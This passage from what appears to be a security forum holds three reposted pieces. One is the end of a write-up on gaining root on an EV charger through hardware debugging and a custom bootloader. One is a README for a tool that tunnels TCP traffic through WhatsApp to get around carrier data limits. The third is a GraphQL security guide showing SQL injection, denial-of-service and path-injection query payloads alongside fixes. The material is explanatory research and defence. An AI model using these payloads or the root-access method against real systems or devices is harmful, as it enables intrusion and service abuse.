SSH listener on port 22. Basic brute-force password attacks didn’t work, so it was time to start looking around for debug interfaces on the PCB. The board had a fairly clean layout, and components were grouped into a few different sections. The most likely chip on the board to run Linux was the ARM processor. It was also next to flash storage and RAM chips, which seemed logical enough. Since it was an ARM processor, we were hoping to see JTAG/SWD interfaces, and/or UART serial ports. The JTAG/SWD ports, if left enabled, should theoretically allow us to dump firmware and modify running code. The processor physically has all these pins, and can be found by looking at the datasheet. However, soldering to an in-circuit BGA was out of the question. So, we’re more or less at the mercy of what the designer’s exposed on the PCB. Though it’s not hard to notice an unpopulated 3-pin header to the left of the NAND flash. The header had three pins, one being ground, so it was probably: Nothing (disabled in production firmware) ARM’s Serial Wire Debug (SWD) UART We soldered a header on and hooked up logic analyzer to the pins, and discovered a UART serial interface. The console log provided useful information about the device, but unfortunately didn’t give us a shell. The bootloader had also been locked down and didn’t allow for interrupting the boot process, which prevented us from playing around in the U-Boot environment. It was at this point we realized that little silver rectangle below the ARM processor was just about the right size to be a microSD card slot. We put a SD card in the slot then reboot the charger. It didn’t boot. Either we made a brick, or the charger was trying to use the SD card as a boot device and we had nothing for it to boot. Removing the SD card and booting again validated our suspicions. Investigating the boot process We tried flashing the SD card with various images for development boards based on the same processor, with varying success. A few images managed to start but inevitably would hang in U-Boot before loading the Linux kernel. This issue was ultimately down to the fact that there were hardware differences between the development board and the Zaptec PCB. This resulted in the images being incompatible. Zaptec likely used different ram, or connected the various components to different pins. The way U-Boot and Linux know about the hardware configuration for a device is through a devicetree. This is essentially a file that describes hardware like RAM and flash storage, so that the OS knows how to interact with them. Normally, a designer will sit with board schematics to create a devicetree. Since we didn’t have access to Zaptec’s schematics we were left with finding another solution. Dumping the NAND flash Access to a device’s firmware is always nice to have. Not only would it provide further information about how the device worked, but if we got access to the Zaptec devicetree, it could allow us to compile our own compatible bootloader or OS. It wasn’t the cleanest job in the world, but we were able to successfully desolder the TSOP48 NAND chip and dump its contents using a TL866II Plus programmer. Firmware analysis The binary file produced by the programmer is an exact byte-for-byte copy of the NAND flash. This presents some challenges, as the partitions we want to analyze are mixed in with other data such as error correction bits and space reserved for wear leveling. This is known as out-of-band (OOB) data and is introduced by the NAND controller integrated into the ARM processor. Damien Cauquil held a presentation at HITB Amsterdam in 2019 that went into detail about how this process works on I.MX based processors. Lucky for us, he released a tool that removes the OOB data. It produces a binary file similar to what U-Boot or Linux would see when interacting with the NAND flash. After poking around in the firmware for a while, we were able to carve out Zaptec’s devicetree binary from the boot partition. Compiling a custom bootloader We considered building Linux to boot from the SD card, but eventually decided to just compile U-Boot. If we resoldered the NAND flash, and had the ability to enter a U-Boot environment, we could control the boot arguments passed to the Linux kernel. This would allow us to enter single user mode, which essentially just drops you into a root shell without prompting for a password. We included the devicetree binary as part of the U-Boot build process, and flashed the bootloader to an SD card. Once in our custom U-Boot environment we set some environment variables that told U-Boot to boot from the NAND flash and enter single user mode. Once in single user mode we set a new root password, and rebooted without the SD card. Now we could connect with SSH over WiFi using our new root password! How things work Now with root access to a running device, we wanted to investigate a few different aspects of how the charger worked. The Bluetooth PIN code The device comes set from the factory with a four-digit PIN code. It’s printed on the box and can’t be changed. It is used to manage a few settings, like how the charger connects to the internet. Two questions we wanted to answer were: How was the PIN code generated? Many IoT devices generate security codes from easily guessable identifiers, like a serial number or MAC address. If this was true in this case, maybe we could manage arbitrary devices. What can you do with access to a devices PIN code? Can you get free charging or start a botnet of bitcoin miners? From what we can tell it looks like the PIN code is set from a server in the factory when the device is initially programmed. Looking through the very first logs that appear on the device hints at this. Since the PIN code (and Azure access token) is provisioned from a server in the factory, we’re not getting access to the code that generates these secrets anytime soon. Ideally the PIN should be a truly random number, and not based on an identifier or some wonky cryptography. That still begs the question of what can you actually do if you know a PIN code. Before purchasing the charger, we decompiled the Android application and poked around at the Bluetooth Low Energy (BLE) functionality. In the Android application’s list of BLE characteristics the “RunCommand” was certainly interesting. Digging a bit further in the Android application’s code revealed commands to start and stop charging via Bluetooth. Assuming you had the PIN code, maybe you could get free charging by issuing these commands over Bluetooth? Now with access to the charger’s code we could see what it actually does. The BLE interface was written in Python, which made things easy to look through. So essentially what happens here is the value of whatever you send to the BLE characteristic gets passed to the smart_service.RunCommand() function. The smart service is another process running on the charger written in .NET mono. Python communicates the smart service through a D-Bus messaging interface. Let’s go see what the RunCommand function can do. The .NET code only seems to implement the Reboot and UpdateFirmware commands. The StartCharging and StopChargingFinal commands look to be functions that were partially implemented in the Android application, but never implemented on the charger. No free charging via Bluetooth. So apart from reconfiguring the device, and potentially causing it to disconnect from the network and stop working, what you can do via the Bluetooth interface seems to limited. It is worth noting that due to the nature of BLE, it would be possible to sniff the PIN code when the device is configured by a technician, but this would require somebody to be listening at that exact moment in time. Zaptec also implemented PIN brute force protection in the Python code. If you enter an incorrect PIN code too many times the Bluetooth interface switches off. The amount of time the Bluetooth interface remains off increases with each incorrect PIN attempt. So, you could brute force the PIN but it would take a long time. And at face value access to the BLE interface for an attacker doesn’t seem to be terribly interesting. The SSH listener One of the first things we wanted to do after connecting the device to a network was figure out if there was a hardcoded root password. There wasn’t. Zaptec placed two public SSH keys on the charger, but the shadow file was empty until we configured a password ourselves in single user mode. This configuration allows Zaptec to login via SSH with the correct key pair, but effectively disables password authentication for both the SSH listener and the UART console. The Cloud connectivity The final area we wanted to investigate was the cloud connectivity. We took a few packet captures early on and knew that the charger was talking to the Azure IoT Hub, but couldn’t see what it was sending because the traffic was encrypted. With root access we were able to install our own root certificate and perform TLS decryption by proxying traffic through mitmproxy. Analyzing a decrypted PCAP allowed us to verify that the charger was communicating with the Azure IoT Hub using Shared Access Signatures, an authentication mechanism that derives credentials based on a secret that was provisioned at the factory. Looking at a few messages published to the IoT Hub revealed the types of data it sends back to Zaptec. A quick look revealed a few things like Linux kernel logs and electricity consumption data. We also took at a look at the .NET code to see everything it was capable of doing via the IoT Hub. We weren’t able to easily test if this functionality worked, but we did find what appears to be Zaptec’s means of remotely debugging their devices. The first is a function called RunRemoteCommand. This passes the contents of a message received from the cloud directly to Process.Start. A second interesting function called StartRemoteTunnel appears to allow Zaptec to create a reverse shell back to an SSH listener on the internet. Conclusion All in all, we didn’t find any critical security issues during our investigation. Though there is probably room for improvement in a few areas. For example, we would have had a much harder time getting root access to the device if they had used signed firmware, or encrypted the NAND flash. Both of these features are supported by the ARM processor already built into the charger. Security appears to have been considered at multiple steps along the way, and was better than we expected going into the project. Get in touch Harrison Edward Sand Security Researcher Sursa: https://www.mnemonic.io/resources/blog/reverse-engineering-an-ev-charger/
      • 2
      • Thanks
      • Upvote
  23. wa-tunnel - HTTP Tunneling through Whatsapp This is a Baileys based piece of code that lets you tunnel TCP data through two Whatsapp accounts. This can be usable in different situations, for example network carriers that give unlimited whatsapp data or airplanes where you also get unlimited social network data. It's using Baileys since it's a WS based multi-device whatsapp library and therefore could be used in android in the future, using Termux for example. The idea is to use it with a proxy setup on the server like this: [Client (restricted access) -> Whatsapp -> Server -> Proxy -> Internet] Apologizes in advance since Javascript it's not one of my primary coding languages 😕 Use only for educational purpose. Why? I got the idea While travelling through South America network data on carriers is usually restricted to not many GBs but WhatsApp is usually unlimited, I tried to create this library since I didn't find any usable at the date. Setup You must have access to two Whatsapp accounts, one for the server and one for the client. You can forward a local port or use an external proxy. Server side Clone the repository on your server and install node dependencies. cd path/to/wa-tunnel npm install Then you can start the server with the following command where port is the proxy port and host is the proxy host you want to forward. And number is the client WhatsApp number with the country code alltogether and without +. node server.js host port number You can use a local proxy server like follows: node server.js localhost 3128 12345678901 Or you can use a normal proxy server like follows: node server.js 192.168.0.1 3128 12345678901 Client Side Clone the repository on your server and install node dependencies. cd path/to/wa-tunnel npm install Then you can start the server with the following command where port is the local port where you will connect and number is the server WhatsApp number with the country code alltogether and without +. node client.js port number For example node client.js 8080 1234567890 Usage The first time you open the script Baileys will ask you to scan the QR code with the whatsapp app, after that the session is saved for later usage. It may crash, that's normal after that just restart the script and you will have your client/server ready! It splits network packages to not get timed out by WhatsApp, at the moment it's hardcoded in wasocket.js, by default it's limited at 20k characters per message, I have done multiple tests and anything below that may get you banned for sending too many messages and any above 80k may timeout. Once you have both client and server ready you can test using curl and see the magic happen. curl -v -x proxyHost:proxyPort https://httpbin.org/ip With the example commands would be: curl -v -x localhost:8080 https://httpbin.org/ip It has been tested also with a normal browser like Firefox, it's slow but can be used. You can also forward other protocol ports like SSH by setting up the server like this: node server.js localhost 22 12345678901 And then connect to the server by using in the client: ssh root@localhost -p 8080 Disclaimer Using this library may get your WhatsApp account banned, use with a temporary number or at your own risk. TO-DO Make an Android script to install node dependencies on termux When Baileys supports calls, implement package sending through calls Implement sending files for big data packages to reduce messages and maybe improve speed Documentation License MIT Sursa: https://github.com/aleixrodriala/wa-tunnel
      • 3
      • Upvote
  24. The complete GraphQL Security Guide: Fixing the 13 most common GraphQL Vulnerabilities to make your API production ready Jens Neuse 2021-09-01·26min read WunderGraph Cloud Early Access Before we get into the blog post. WunderGraph Cloud is being released very soon. We’re looking for Alpha and Beta testers for WunderGraph Cloud. It's 2021, GraphQL is on its rise to become a big player in the API Ecosystem . That's perfect timing to talk about how to make your GraphQL APIs secure and ready for production. So here's my thesis: GraphQL is inherently insecure. I'll prove this throughout the article and propose solutions. One of the solutions will require some radical change in the way we're thinking about GraphQL, but it will come with a lot of benefits that go way beyond just security. If you pick a random GraphQL framework and run it with default settings in production, disaster is waiting to happen. The 13 most common GraphQL Vulnerabilities 1. Parsing a GraphQL Operation vs. parsing a URL Why? Why is GraphQL so much more vulnerable than e.g. REST? Let's compare a URL against a GraphQL Operation. According to Wikipedia, the concept of the URL was first published in 1994, that's 27 years ago. If we search the same source for the birth of GraphQL, we can see, it's Sep 2014, around 7 years old. This gives parsing URLs an advantage of 20 years over parsing GraphQL Operations. Quite the headstart! Next, let's have a look at the antlr grammar for both. The grammar for parsing a URL is 86 lines. The grammar for parsing a GraphQL document is 325 lines. So, it's fair to say that the GraphQL language is around 4 times more complex than the one defining a URL. If we factor in both variables, it's obvious that there must be a lot more experience and expertise in parsing URLs than parsing GraphQL operations. But why is this even a problem? Recently, a friend of mine analyzed some popular libraries to see how fast they are in parsing GraphQL queries. It made me happy to see that my own library was performing quite well . At the same time, I was surprised that some libraries didn't accept the test Operations while other were able to parse them. What does this mean for us? The person who performed the benchmarks hand-picked a number of GraphQL libraries and ran a few benchmarks. This was enough to find some bugs. What if we picked all GraphQL libraries and frameworks and test them against numerous GraphQL Operations? Keep in mind that we're still talking about simply parsing the Operations. What if we add building a valid AST into the equation? What if we add executing the Operations as well? We almost forgot about validating Operations, a topic in itself. A few years ago, there was a small group of people who started an amazing open source project: CATS The GraphQL Compatibility Acceptance Test . It's quite a mouthful, but the idea is brilliant. The idea was to build a tool so that different GraphQL implementations can prove that they work as intended. Unfortunately, the project's last commit is from 2018. Alright, parsing a URL seems simple and well understood. Parsing GraphQL Operations is a nightmare. You should not trust any GraphQL library without heavy testing, including fuzzing. We're all humans. Building a GraphQL library is complex. I'm the owner of an implementation written in Go . It's no easy, it's a lot of code. A lot of code means, a lot of potential for bugs. And don't get me wrong, this is not about hand-written parsers vs. generated parsers from a grammar. Turning a string into an AST is just one small piece of the puzzle. There's plenty of opportunities left for bugs. 2. Normalizing GraphQL Queries can potentially leak fields You don't have to normalize a URL. If you can parse it in your language of choice, it's valid, otherwise it's not. A different story with GraphQL. Here's an example: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { foo foo: foo ... { foo ... { foo } } ... @include(if: true){ foo } ...@skip(if: false){ foo } } A lot of foo! Let's normalize the Query. 1 {foo} That's a lot less foo, nice! I could have made it more complicated with more fragments, nesting, etc... What's the point? How can we prove that all libraries and frameworks normalize the Query correctly? What happens if something goes wrong here? It might give an attacker an opportunity to ask for fields which he/she is not allowed to use. Maybe there's a hidden field and by wrapping it with a weird inline fragment @skip combo, we're able to query it. As long as we're not able to prove that it's impossible, I'd consider it's possible, prove me wrong! To summarize: No Normalization for URLs. More nightmares for GraphQL. 3. GraphQL Operation Validation, an absolute minefield I've implemented GraphQL Operation validation myself. One of the unit test files is more than 1000 LOC . What I've done is, I copied the complete structure from the GraphQL Specification one by one and turned it into unit tests. There are various ways how this could go wrong. Copy & paste Errors, general misunderstanding, implementing the logic to make the tests green while the logic is still wrong. There are a lot of pitfalls you could fall into. Other libraries and frameworks are probably taking different approaches. You could also copy the tests from the reference implementation , but that's also no guarantee that the logic is 100% correct. Again, as we don't have a project like CATS anymore, we're not really able to prove if our implementations are correct. I hope, everybody is doing their best to get it right. Until then, don't trust any GraphQL validation library if you haven't tested it yourself. Use many Operations for testing. Summary: If a standard library can parse your URL, it's valid. If your library of choice validates a GraphQL Operation, you should still be cautious, especially when you're dealing with PII (personally identifiable information). At this point, we've probably passed a few bugs already by passing our request through the parser, normalization and validation. The real trouble is still ahead of us, executing the Operation. When executing a GraphQL Operation, it's not only the frameworks' responsibility to do the right thing. At this point, it's also a great chance for the framework user to mess up. This has to do with the way GraphQL is designed. A GraphQL Operation can walk from node to node, wherever it wants, it you don't do anything about it. So, the range of possible attacks goes from simple denial of service attacks to more sophisticated approaches that return data which should not be returned. For that reason, we'll give this section a bit more structure. 4. GraphQL Denial of Service Attacks If you want to rate-limit a REST API user, all you have to do is store their IP in an in memory story, e.g. Redis, and rate limit them with you algorithm of choice, e.g. a sophisticated window rate limiter. Each request counts as one request, this sounds stupid but matters in the context of GraphQL. With GraphQL on the other hand, you cannot apply the same pattern. One single Operation is enough to bring the GraphQL Server to a halt. Here are a few examples of how to build a denial of service attack with GraphQL: Moving back and forth, forever. 1 2 3 4 5 6 7 8 9 10 11 { foo { bar { foo { bar { # repeat forever } } } } } Simply ask for a lot of foos: 1 2 3 4 5 6 7 8 9 { a: foo b: foo c: foo # ... aa: foo # ... zzzzzzzzzzzz: foo } How about exploiting N+1 problems? 1 2 3 4 5 6 7 8 9 { arrayField { # returns 100 nodes moreArray { # returns 100 nodes moar { # returns 100 nodes storyGoesOn # returns 100 nodes ... } } } } Each layer of nesting asks for more nested data, hence exponential growth of execution complexity. A few things you should consider: Usually, GraphQL operations come in the form of a JSON over an HTTP POST request. This JSON could look like this: 1 2 3 4 5 6 7 { "query": "query Foo($bar: String!) {foo(bar:$bar){bar}}", "operationName": "Foo", "variables": { "bar": "baz" } } The first thing you should do is to limit the amount of JSON bytes you're accepting. How large can your larges Operations be? A few Kilobytes? Megabytes? Next, when parsing the Operation, how many Nodes are too many Nodes? Do you accept any amount of Nodes in a Query? If you have analytics running on your system, maybe take the larges Query, add a margin on top and set the limit there? Talking about the maximum number of Nodes when parsing an Operation. Does your framework of choice actually allow you to limit the number of Nodes it'll read? Next, let's talk about the options you have when the Operation is parsed. You can calculate the "complexity" of the Operation. You could "walk" through the AST and apply some sort of algorithm to detect the complexity of the Operation. One way to define complexity is for example the nesting. Here's a Query with nesting of 1: 1 {foo} This Query has nesting of 2: 1 {foo{bar}} This algorithm is a good start. However, it has some downsides. Nesting alone is not a good indicator of complexity. To better understand the complexity, you'd have to look at the possible number of nodes, a field can return. This is similar to EXPLAIN ANALYZE in SQL. It gives you some estimates on what the Query Planner thinks, how the Query will be executed. Keep in mind that these estimations can go completely wrong. So, estimating is not bad, but you should also look at the real number of returned nodes during execution. Companies with public GraphQL APIs, like e.g. GitHub, have implemented quite sophisticated rate limiting algorithms. They take into account the number of nodes returned by each field and give you some limits based on their calculations. Here's an example Query from their explanation: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 query { viewer { repositories(first: 50) { edges { repository:node { name issues(first: 10) { totalCount edges { node { title bodyHTML } } } } } } } } There's one important thing we can learn from them in terms of GraphQL Schema design. If you have a field that returns a list, make sure there is a mandatory argument to limit the number of items returned, e.g. first, last, skip, etc... Only then, it's actually possible to calculate the complexity before executing the Operation. Additionally, you'd also want to think about the user experience of your API. It's going to be a poor user experience if GraphQL Operations randomly fail because there's too much data coming back from a list field for some instances. At the end of the post, we'll pick up this topic again and talk about an even better approach, an approach that works well for both the API provider and the consumer. 5. GraphQL SQL Injection Vulnerability This one should be quite known, but it should still be part of the list. Let's have a look at a simple resolver using graphql-js: 1 2 3 4 5 6 7 Query: { human(obj, args, context, info) { return context.db.loadHumanByID(args.id).then( userData => new Human(userData) ) } } A Query for this resolver might look like this: 1 2 3 4 5 6 query Human { human(id: "1"){ id name } } In case of a badly written implementation of db.loadHumanByID, the SQL statement could look like this: 1 2 3 4 export const loadHumanByID = (id) => { const stmt = `SELECT * FROM humans where id = ${id};`; return db.query(stmt); } In case of the "happy" path, the SQL statement will be rendered like this: 1 SELECT * FROM humans where id = 1; Now, let's try a simple attack: 1 2 3 4 5 6 query Human { human(id: "1 OR 1=1"){ id name } } In case of our attack, the SQL statement looks slightly different: 1 SELECT * FROM humans where id = 1 OR 1=1; As 1=1 is always true, this would return all users. You might have noticed that the function can only return a single user, not a list of users, but for illustration purposes, I think it's clear that we have to deal with the issue. What can we do about this? Be liberal in what you accept, and conservative in what you send. [Postels Law] The solution to the problem is not really GraphQL-specific. You should always validate the inputs. For database access, use prepared statements or an ORM that abstracts away the database layer so that you're not able to inject arbitrary logic into the statement by design. Either way, don't trust user inputs. It's not enough to check if it's a string. 6. GraphQL Authentication Vulnerabilities Another attack vector is incomplete authentication logic. There might be different Query-Paths to traverse to the same object, you have to make sure that every path is covered. Here's an example schema to illustrate the problem: 1 2 3 4 5 6 7 8 9 type Query { me: User! } type User { id: ID! name: String! friends: [User!]! } In the resolver for the field me, you extract the user ID from the context object and resolve the user. So far, there's no issue with this schema. Later on, the product owner wants a new feature, so a new team member adds a new field to the Query type: 1 2 3 4 5 6 7 8 9 10 type Query { me: User! userByID(id: ID!):User } type User { id: ID! name: String! friends: [User!]! } With this change, you have to make sure that the field userByID is also protected by an authentication middleware. It might sound trivial but are you 100% sure that your GraphQL doesn't contain a single access path that is unprotected? We'll pick this item up at the end of the post because there's a simple way to fix the issue. 7. GraphQL Authorization traversal attack Vulnerability Traversal attacks are very simple to exploit while hard to spot. Looking at the previous example, let's say you should only be allowed to view your friends id and name; A simple Query to get the current user looks like this: 1 2 3 4 5 6 7 8 9 10 { me { id name friends { id name } } } As we inject the user ID into the me resolver ourselves, there's not much an attacker can do. What about this Query? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 { me { id name friends { id name friends { id name } } } } With this Query, we're loading all friends and their friends. How can we prevent the user from "traversing" this path? The question in this case is, do you protect the edge (friends) or the node (User)? At first glance, it looks like protecting the edge is the right way to do it. So, whenever we enter the field "friends", we check if the parent object (User) is the currently authenticated user. This would work for the Query above, but it has a few drawbacks. One of which is, if you only protect edges, you'd have to protect all of them. Here's another Query that would not be protected by this approach, but it's not the only issue. 1 2 3 4 5 6 { userByID(id: "7") { id name } } If you haven't protected the userByID field, we could simply guess user IDs and collect their data. Heading over to the next section, you'll see why protecting the edges is not a good idea. 8. Relay Global Object Identification Vulnerability Your GraphQL Server Framework might implement the Relay Global Object Identification specification. This spec is an extension to your GraphQL schema to make it compatible with the Relay client, the client developed and used by Facebook. What's the problem with this spec? Let's have a closer look at what it allows us to do: 1 2 3 4 5 6 7 { node(id: "4") { id ... on User { name } } The Relay spec defines that each Node in a Graph must be accessible through a globally unique identifier. Usually, this ID is the base64 encoded combination of the __typename and the id fields of a node. With the node returned, you're able to use fragments to ask for specific node fields. This means, even if your Server is completely secure, by enabling the Relay Extension, you're opening up another attack vector. At this point, it should be clear that protecting the edges is a cat and mouse game which is not in favor of you. A better solution to solve the problem is by protecting the node itself. So, whenever we enter the resolver for the type User, we should check if the currently authenticated user is allowed to request the fields. As you can see, you have to make decisions very early on when designing your GraphQL Schema as well as the Database Schema to be able to protect nodes properly. Whenever you enter a node, you must be able to answer the question if the currently logged in user is allowed to see a field or not. So, the question arises if this logic should really sit in the resolver. If you ask the creators of GraphQL, their answer would be "no". As they've already solved the problem in a layer below the resolvers, the data access layer or their "Entity (Ent) Framework", they didn't address the issue with GraphQL. This is also the reason why authorization is completely missing from GraphQL. That being said, solving the problem a layer below it not the only valid solution. If done right, it can be completely fine to solve the problem from within the resolvers. Before we move on, you should have a look at the excellent entgo framework and its architecture. Even if you're not going to use Golang to build your API layer, you can see how much thought and experience went into the design of the framework. Instead of scattering authorization logic across your resolvers, you're able to define policies at the data layer and there's no way to circumvent them. The access policy is part of the data model. You don't have to use a framework like entgo, but keep in mind that you'd then have to solve this complex problem on your own. Again, we'll revisit this vulnerability later to find a much simpler solution. 9. GraphQL Gateway / Proxying Vulnerability A lot of GraphQL servers are also API Gateways or Proxies to other APIs. Injecting GraphQL arguments into sub-requests is another possible threat we have to deal with. Let's recall the schema from above: 1 2 3 4 5 6 7 8 9 10 type Query { me: User! userByID(id: ID!):User } type User { id: ID! name: String! friends: [User!]! } Let's imagine this Schema is implemented using a REST API with the GraphQL API as an API Gateway in front. The resolver for the userByID field could look like this: 1 2 3 4 export const userByID = async (id: string) => { let results = await axios.get(`http://my.rest.api/user/${id}`); return results.data; } Now, let's not fetch the user but two of their friends! Here's the Query (totally valid): 1 2 3 4 5 6 7 8 9 10 { firstFriend: userByID(id: "7/friends/1"){ id name } secondFriend: userByID(id: "7/friends/2"){ id name } } This results in the following GET requests: 1 2 GET http://my.rest.api/user/7/friends/1 GET http://my.rest.api/user/7/friends/2 Why is this possible? The ID Scalar should be serialized as a string . While "7" is a valid string, "7/friends/1" is also. To solve the problem, you have to validate the input. As the GraphQL type system is only validating if the input is a number or a string, you need to go one step further. If you're accepting strings as input, e.g. because you're using a UUID or GUID, you have to make sure you've validated them before usage. How can we fix it? Again, we need to validate the inputs. WunderGraph offers you a simple way to configure JSON Schema validation for all inputs. This is possible, because WunderGraph is keeping your Operations entirely on the server. But we'll come to that later. Anybody else should make sure to validate any input before using it from your resolvers. 10. GraphQL Introspection Vulnerability GraphQL Introspection is amazing! It's the ability of the GraphQL to tell clients everything about the GraphQL Schema. Tools like GraphiQL and GraphQL Playground use the introspection Query to then be able to give the user autocompletion functionalities. Without Introspection and the Schema, tools like these wouldn't exist. At the same time, introspection also has a few downsides. The GraphQL schema can contain sensitive information. There's a possibility that your GraphQL schema is leaking internal information or fields that are only used internally. Maybe one of your teams is working on a new MVP which is not yet launched. Your competitors might be scraping your GraphQL API using the introspection Query. Whenever there's a change in the schema, they could immediately see this using a diff. What can we do about this? Most guides advise you to disable the Introspection Query in Production. That is, you'll allow it during development but disallow introspection Queries when deploying to production. However, due to the friendliness of some GraphQL framework implementations, including the graphql-js reference implementation, disabling introspection doesn't really solve the issue . Keep in mind that every implementation depending on the graphql-js reference is also affected by this. So, if disabling introspection doesn't help, what else can we do about it? If your API is only used by your internal staff, you can the execution of introspection Queries with an authentication middleware. This way, you would add a layer of authentication in front of the GraphQL execution. Obviously, this only works for APIs that always require authentication because otherwise users would not be able to make a single request. If you're building an app that can be used by users without authentication, the proposed solution doesn't work. To sum up, by disabling introspection at runtime, you're making it a bit more complicated to introspect the schema, but with most frameworks it's still possible. The next vulnerability will also take advantage of this issue. The ultimate catch-all solution will be presented at the end. 11. Generated GraphQL APIs Vulnerability There are a number of services and tools like e.g. Postgraphile or Hasura that Generate APIs from a database schema. The promise is simple, point the tool at the Database, and you'll get a fully functional GraphQL Server. As we've previously discussed, it's not easy and sometimes impossible (so far) to fully disable introspection at runtime. Generated GraphQL APIs usually follow a common structure to generate their CRUD resolvers. This means, it's quite easy to spot if we're dealing with a custom-made use-case driven API or a generated API. Why is this an issue? If we're not able to disable introspection we're leaking information of our complete database schema to the public. It's already a questionable approach if you want to have tight coupling between client and server, which is the case if we're generating the API from the database schema. That being said, in terms of security, this means we're exposing our whole Database schema to the public. By exposing your Database schema to the public, you're giving attackers a lot of information to find vulnerabilities, try SQL injections, etc... I know it's a repetitive schema but we're also going to address this issue at the end. 12. GraphQL CSRF Vulnerability This issue is not directly a GraphQL vulnerability but a general threat for HTTP-based applications with Cookie- or Session-based authentication mechanisms. If you're using frameworks like NextJS, Cookie-based auth is quite common (and convenient) so it's worth covering as well. Imagine, we're building an app that allows users to send money to other users. A mutation to send money could look like this: 1 2 3 4 5 mutation SendMoney { sendMoney(to: "123" amount: 10 currency: EURO){ success } } What can go wrong? If we're building a Single Page Application (SPA) on app.example.com with an API on a different domain (api.example.com), the first thing you'd have to do to make this setup working is to configure CORS. Make sure to only allow your SPA domain and don't use wildcards! The next thing that could go wrong is to properly configure the SameSite properties for the API domain, the one setting the Cookies. You'd want to use SameSite lax or strict, depending on the user experience. For Queries, it could make sense to use lax, which means we're able to use Queries from a trusted domain, e.g. a different subdomain. For Mutations, strict would definitely be the best option as we only want to accept those from the origin. SameSite none would allow any website to make requests to our API domain, independent of their origin. If you combine a bad CORS configuration with the wrong SameSite Cookie settings, you're in trouble. Finally, attackers could find a way to construct a link to our website that leads already authenticated users to make a transaction that they don't really want to do. To protect against this issue, you should add a CSRF middleware around mutations. WunderGraph does this out of the box. For each mutation endpoint, we configure a CSRF middleware. Additionally, we generate our clients in a way so that they automatically handle CSRF. As a developer using WunderGraph, you don't have to do anything. 13. GraphQL Excessive Errors Vulnerability This is another common issue with GraphQL APIs. GraphQL has a nice and expressive way of returning errors . However, some frameworks are by default just a bit too informative. Here's an example of a response from an API that is automatically generated on top of a database: 1 2 3 4 5 6 7 8 9 10 11 { "errors": [ { "extensions": { "path": "$.selectionSet.insert_user.args.objects", "code": "constraint-violation" }, "message": "Uniqueness violation. duplicate key value violates unique constraint \"auser_authprovider_id_key\"" } ] } This error message is quite expressive, it seems like it's coming from a SQL database and it's about a violation of a unique key constraint. While helpful to the developer of the application, it's actually giving way too much information to the API consumer. This message could be written to the logs if any. It seems like an app user is trying to create content with an ID that already existed. In a properly designed GraphQL API, this actually doesn't have to be an error at all. A better way to design this API would be to return a union that covers all possible cases, like e.g. success, conflict, etc... But that's just a general problem with generated APIs. In any case, if generated or not, There should always be a middleware at the very top of your HTTP Server that catches verbose errors like this and removes them from the reponse. If possible, don't just use the generic "errors" response object. Instead, make use of the expressive type system and define types for all possible outcomes of an operation. REST APIs have a rich system of HTTP status codes to indicate the result of an operation. GraphQL allows you to use Interface and Union type definitions so that API consumers can easily handle API responses. It's very hard to programmatically analyze an error message. It's just a string which could change any time. By creating Union and Interface types for responses, you can cover all outcomes of an operation explicitly. An API consumer is then able to switch case over the __typename field and properly handle the "known error". Summary & Vulnerability Checklist Another long blog post comes to an end. Let's recap! We've covered 13 of the most common GraphQL vulnerabilities. Here's a Checklist if you want to go through all of them. Parsing Vulnerabilities Normalization Issues Operation Validation Errors Denial of Service Attacks GraphQL SQL Injections Authentication Vulnerabilities GraphQL Authorization Traversal Attacks Relay Global Object Identification Vulnerability GraphQL Gateway / Proxying Vulnerability GraphQL Introspection Vulnerability Generated GraphQL APIs Vulnerability GraphQL CSRF Vulnerability GraphQL Excessive Errors Vulnerability That's a lot of issues to solve before going to production. Please don't take this lightly. If you look at HackerOne , you can see the issue is real. So, we want to get the benefits of GraphQL, but going through this whole list is just way too much work. Is there a better way of doing GraphQL? Is there a way of doing GraphQL differently so that we're not affected by all the issues. The answer to this question is Yes! All you have to do is to adjust your view on GraphQL. Solving the 13 most common GraphQL Vulnerabilities for private APIs Most of us are using GraphQL APIs internally. This means, the developers who use the GraphQL API are in the same organization as the people who provide the API. Additionally, I'm assuming that we're not changing our GraphQL Operations at runtime. All this boils down to the root cause of the problem. Allowing API clients to send GraphQL Operations over HTTP is the root cause of all evil. All this is completely avoidable, adds no value and only creates harm. It's absolutely fine to allow developers within a secured environment to send arbitrary GraphQL Operations. However, most apps don't change their GraphQL Operations in production, so why allow it at all? Let's have a look at the Architecture you're most familiar with. A GraphQL client talks GraphQL to a GraphQL Server. Now, let's make a small change to the architecture to fix all 13 problems. Instead of talking GraphQL between Client and Server, we're talking RPC, JSON-RPC more specifically. The Server then handles Authentication, Authorization, Caching, etc... for us and forwards Requests to the origin servers. We haven't invented this though. It's not something new. Companies like Facebook, Medium, Twitter, and others are doing it. What we've done is not just make it possible and fix the problems listed above. We've created an easy-to-use developer experience. We've assembled everything in one place. You don't have to install numerous dependencies. Let's break down the solution a bit more, so you can fully understand how we're able to solve all the vulnerabilities. Solving Vulnerabilities related to Parsing, Normalizing and Validating GraphQL Operations The most secure code is the code that doesn't have to run at all. Every code has bugs. To fix bugs, we have to write more code, which means, we're introducing even more bugs. So, how can we replace GraphQL with RPC over the wire? During development, the developers define all Operations that are required for the Application. At the time when the app is ready to be deployed, we'll parse, normalize and validate all Operations. We'll then generate JSON-RPC Endpoints for each Operation. As mentioned, we've normalized the Operations. This allows us to treat all inputs (the variables) like a JSON object. We can then parse the variable types and get a JSON Schema for the input. Additionally, we can parse the response schema of the GraphQL Query. This gives us a second JSON Schema. These two will be quite handy later. By doing all this, it's happening automatically, we'll get two things: A number of JSON-RPC Endpoints JSON Schema definitions for the inputs and response objects of all Endpoints By doing this at "deployment time", we don't have to do it during the execution again. We're able to "pre-compile" an execution tree. All that's left at runtime is to inject the variables and execute the tree. We've borrowed this idea from SQL Database Systems, it's quite similar to "Prepared Statements". Ok, this means we've solved three problems. Unfortunately, we've also introduced a new problem! There are no easy to use clients that could make use of our JSON-RPC API. Luckily, we've extracted two JSON-Schemas per Endpoint. If we feed those into a code-generator, we're able to generate fully type-safe clients in any language. These clients are not only very small, but also super efficient as they don't have to do much. So, in the end, we've not only solved three problems but also made our application more performant. As another side effect, you're also able to generate forms from these JSON Schema definitions. It's fully integrated into WunderGraph. Solving GraphQL Denial of Service Attacks Most GraphQL DOS vulnerabilities come from the fact that attackers can easily create complex nested Queries that ask for too much data. As we've discussed above, we've just replaced GraphQL with RPC. This means, no dynamic GraphQL Operations. For each operation, we're able to configure a specific rate limit or quote. We can then rate limit our users 